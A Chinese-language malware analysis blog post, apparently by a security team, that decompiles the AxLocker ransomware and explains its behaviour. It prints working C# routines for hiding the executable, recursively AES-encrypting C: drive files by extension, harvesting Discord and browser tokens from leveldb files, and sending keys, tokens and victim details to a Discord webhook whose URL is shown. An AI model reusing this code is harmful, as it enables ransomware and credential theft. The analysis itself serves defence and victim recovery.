浏览安全客时发现新出现了三款恶意软件,分别是AxLocker, OctoCrypt, Alice,本文分析其中的AxLocker,AXLocker勒索软件以一种相当典型的方式运行,在勒索受害者之前,针对某些带有AES加密的文件扩展名。
初步分析
是.NET程序,并且有GUI界面
使用dnspy加载,进入到主函数
private static void Main()
{
Program.hidefile();
Program.startencryption();
Program.show();
}
程序写的很清晰,竟然没有混淆,应该是刚出来还没有完善版本
程序首先隐藏自身
private static void hidefile()
{
File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden);
}
然后加密文件并展示提示
加密行为分析
加密C盘下的所有文件
public static void startencryption()
{
string targetDirectory = "C:\";
Program.ProcessDirectory(targetDirectory, 1, "");
}
虽然看上去只加密C盘文件有点离谱,但是看过了我妹的C盘红色其它盘空的我也觉得正常。毕竟这里面有下载、文档等重要的数据文件,很多社交软件聊天记录、软件数据也存储在这里
然后处理文件
public static void ProcessDirectory(string targetDirectory, int action, string password)
{
IEnumerable<string> enumerable = from file in Directory.EnumerateFiles(targetDirectory, "*.*")
where Program.extensionsToEncrypt.Any((string x) => file.EndsWith(x, StringComparison.OrdinalIgnoreCase))
select file; // 忽略大小写比对文件后缀
foreach (string fileName in enumerable)
{
Program.ProcessFile(fileName, action, password);
}
string[] directories = Directory.GetDirectories(targetDirectory);
foreach (string text in directories)
{
try
{
bool flag = !text.Contains("All Users\Microsoft\") && !text.Contains("$Recycle.Bin") && !text.Contains("C:\Windows") && !text.Contains("C:\Program Files") && !text.Contains("Temporary Internet Files") && !text.Contains("AppData\") && !text.Contains("\axlockerkey\") && !text.Contains("C:\ProgramData\") && !text.Contains("\Axlocker-data\") && !text.Contains("\AXLOCKER\");
if (flag)
{
Program.ProcessDirectory(text, action, password);
}
}
catch
{
}
}
首先根据后缀名过滤掉一些文件,后缀名为
"7z","rar","zip","m3u","m4a","mp3","wma","ogg","wav","sqlite","sqlite3","img","nrg","tc","doc","docx","docm","odt","rtf","wpd","wps","csv","key","pdf","pps","ppt","pptm","pptx","ps","psd","vcf","xlr","xls","xlsx","xlsm","ods","odp","indd","dwg","dxf","kml","kmz","gpx","cad","wmf","txt","3fr","ari","arw","bay","bmp","cr2","crw","cxi","dcr","dng","eip","erf","fff","gif","iiq","j6i","k25","kdc","mef","mfw","mos","mrw","nef","nrw","orf","pef","png","raf","raw","rw2","rwl","rwz","sr2","srf","srw","x3f","jpg","jpeg","tga","tiff","tif","ai","3g2","3gp","asf","avi","flv","m4v","mkv","mov","mp4","mpg","rm","swf","vob","wmv"
然后需要判断文件是否非空
public static bool extension(string fileName)
{
byte[] bytes = Encoding.ASCII.GetBytes(fileName);
byte[] second = File.ReadAllBytes(fileName).Take(0).ToArray<byte>();
bool flag = bytes.SequenceEqual(second);
bool result;
if (flag)
{
Program.count++;
Program.encryptedFiles.Add(fileName);
result = true;
}
else
{
result = false;
}
return flag;}
最后来个加密
public static void EncryptFile(string fileUnencrypted)
{
byte[] array = Encoding.UTF8.GetBytes(Program.password);
array = SHA256.Create().ComputeHash(array);
byte[] bytesToBeEncrypted = File.ReadAllBytes(fileUnencrypted);
byte[] array2 = Program.AES_Encrypt(bytesToBeEncrypted, array);
FileStream fileStream = File.Open(fileUnencrypted, FileMode.Open);
fileStream.SetLength(0L);
fileStream.Close();
using (FileStream fileStream2 = new FileStream(fileUnencrypted, FileMode.Append))
{
bool canWrite = fileStream2.CanWrite;
if (canWrite)
{
byte[] bytes = Encoding.UTF8.GetBytes("");
fileStream2.Write(bytes, 0, bytes.Length);
fileStream2.Write(array2, 0, array2.Length);
Console.WriteLine("Encrypted: " + fileUnencrypted);
Program.count++;
Program.encryptedFiles.Add(fileUnencrypted);
}
}
}
通过FileStream.SetLength
清空文件,然后写入AES加密后的文件内容。AES加密的key是固定的,为WnZr4u7xh60A2W4Rz
的sha256值。并且加密过程中还会统计加密的文件列表
至此加密过程就完成了,接下来展示勒索信息和窃取discord凭证
展示勒索信息分析
private static void show()
{
bool flag = File.Exists("C:\\Windows\\AppMon.txt");
if (flag)
{
MessageBox.Show("ERROR, Private key was deleted.");
Environment.Exit(-2);
}
else
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new AXLOCKER());
}
}
首先是判断AppMon.txt
是否存在,如果不存在则展示勒索信息。应该是关机之后再次开机,就会展示私钥丢失
然后展示一个计时器,用于心理威胁
private void Timer1_Tick(object sender, EventArgs e)
{
bool flag = this.delay >= 0;
if (flag)
{
TimeSpan timeSpan = TimeSpan.FromSeconds((double)(--this.delay));
this.lblTime.Text = timeSpan.ToString("dd\:hh\:mm\:ss");
}
else
{
File.Delete("C:\\Windows\\winlog.txt");
}
}
然后创建了一个AppMon.txt
base.MinimizeBox = false;
base.MaximizeBox = false;
StreamWriter streamWriter = new StreamWriter("C:\\Windows\\AppMon.txt");
streamWriter.Write("ERROR, Private key was deleted.");
streamWriter.Close();
窃取信息分析
程序会利用一个Grabber类进行信息的窃取
public static List<string> Grab()
{
Grabber.Scan();
List<string> list = new List<string>();
foreach (string text in Grabber.target)
{
bool flag = Directory.Exists(text);
if (flag)
{
string path = text + "\Local Storage\leveldb";
DirectoryInfo directoryInfo = new DirectoryInfo(path);
foreach (FileInfo fileInfo in directoryInfo.GetFiles("*.ldb"))
{
string input = fileInfo.OpenText().ReadToEnd();
foreach (object obj in Regex.Matches(input, "[\w-]{24}\.[\w-]{6}\.[\w-]{27}"))
{
Match match = (Match)obj;
list.Add(match.Value);
}
foreach (object obj2 in Regex.Matches(input, "mfa\.[\w-]{84}"))
{
Match match2 = (Match)obj2;
list.Add(match2.Value);
}
}
}
}
return list;
}
并且会利用正则表达式窃取有关信息
窃取的信息列表如下
private static void Scan()
{
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
string folderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
Grabber.target.Add(folderPath + "\Discord");
Grabber.target.Add(folderPath + "\discordcanary");
Grabber.target.Add(folderPath + "\discordptb");
Grabber.target.Add(folderPath + "\\Opera Software\Opera Stable");
Grabber.target.Add(folderPath2 + "\Google\Chrome\User Data\Default");
Grabber.target.Add(folderPath2 + "\BraveSoftware\Brave-Browser\User Data\Default");
Grabber.target.Add(folderPath2 + "\Yandex\YandexBrowser\User Data\Default");
}
包括Discord,Opera,Chrome,Yandex,Brave等软件的数据会被窃取。但是只窃取了ldb文件内容
然后会通过webhook发送
Webhook webhook2 = new Webhook(AXLOCKER.WEBHOOK);
webhook2.Send(string.Concat(new string[]
{
"**Program executed** ```Status: Active nPC Name: ",
details2[0],
"nUser: ",
details2[1],
"nUUID: ",
identifier2,
"nIP Address: ",
ip2,
"```"
}));
webhook2.Send(string.Concat(new string[]
{
"```Decryption Key: ",
text9,
"nUser ID: ",
text7,
"```"
}));
webhook2.Send("```Tokens:n" + text10 + "```");
目标地址为https[:]//discord.com/api/webhooks/1039930467614478378/N2J80EuPMXSWuIBpizgDJ-75CB6gzTyFE72NQ0DJimbA7xriJVmtb14gUP3VCBBZ0A
同时发送的还有其它用户信息
List<string> details = User.GetDetails();
string identifier = User.GetIdentifier();
string ip = User.GetIP();
最后确实保存了一个私钥,但是似乎没用
using (MD5CryptoServiceProvider md5CryptoServiceProvider2 = new MD5CryptoServiceProvider())
{
byte[] key2 = md5CryptoServiceProvider2.ComputeHash(Encoding.UTF8.GetBytes(this.hash));
using (TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider2 = new TripleDESCryptoServiceProvider
{
Key = key2,
Mode = CipherMode.ECB,
Padding = PaddingMode.PKCS7
})
{
ICryptoTransform cryptoTransform2 = tripleDESCryptoServiceProvider2.CreateEncryptor();
byte[] array6 = cryptoTransform2.TransformFinalBlock(bytes2, 0, bytes2.Length);
string value2 = Convert.ToBase64String(array6, 0, array6.Length);
StreamWriter streamWriter3 = new StreamWriter("C:\\Windows\\winlog.txt");
streamWriter3.Write(value2);
streamWriter3.Close();
this.timer1.Start();
base.Show();
webhook2.Send(string.Format("```Files encrypted, file count: {0}```", Program.count));}}
总结
这个勒索病毒似乎还处于初级阶段,很多内容不够成熟,例如窃取的信息、加密方式、加密密钥保存,后续可能会有变种。
如果感染,使用程序内包含的密钥AES解密就可以
参考
https://www.anquanke.com/post/id/283511
https://learn.microsoft.com/zh-cn/office/troubleshoot/access/ldb-file-description
https://blog.csdn.net/wang379275614/article/details/7815728
https://zhuanlan.zhihu.com/p/133449879
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):AxLocker新型勒索软件分析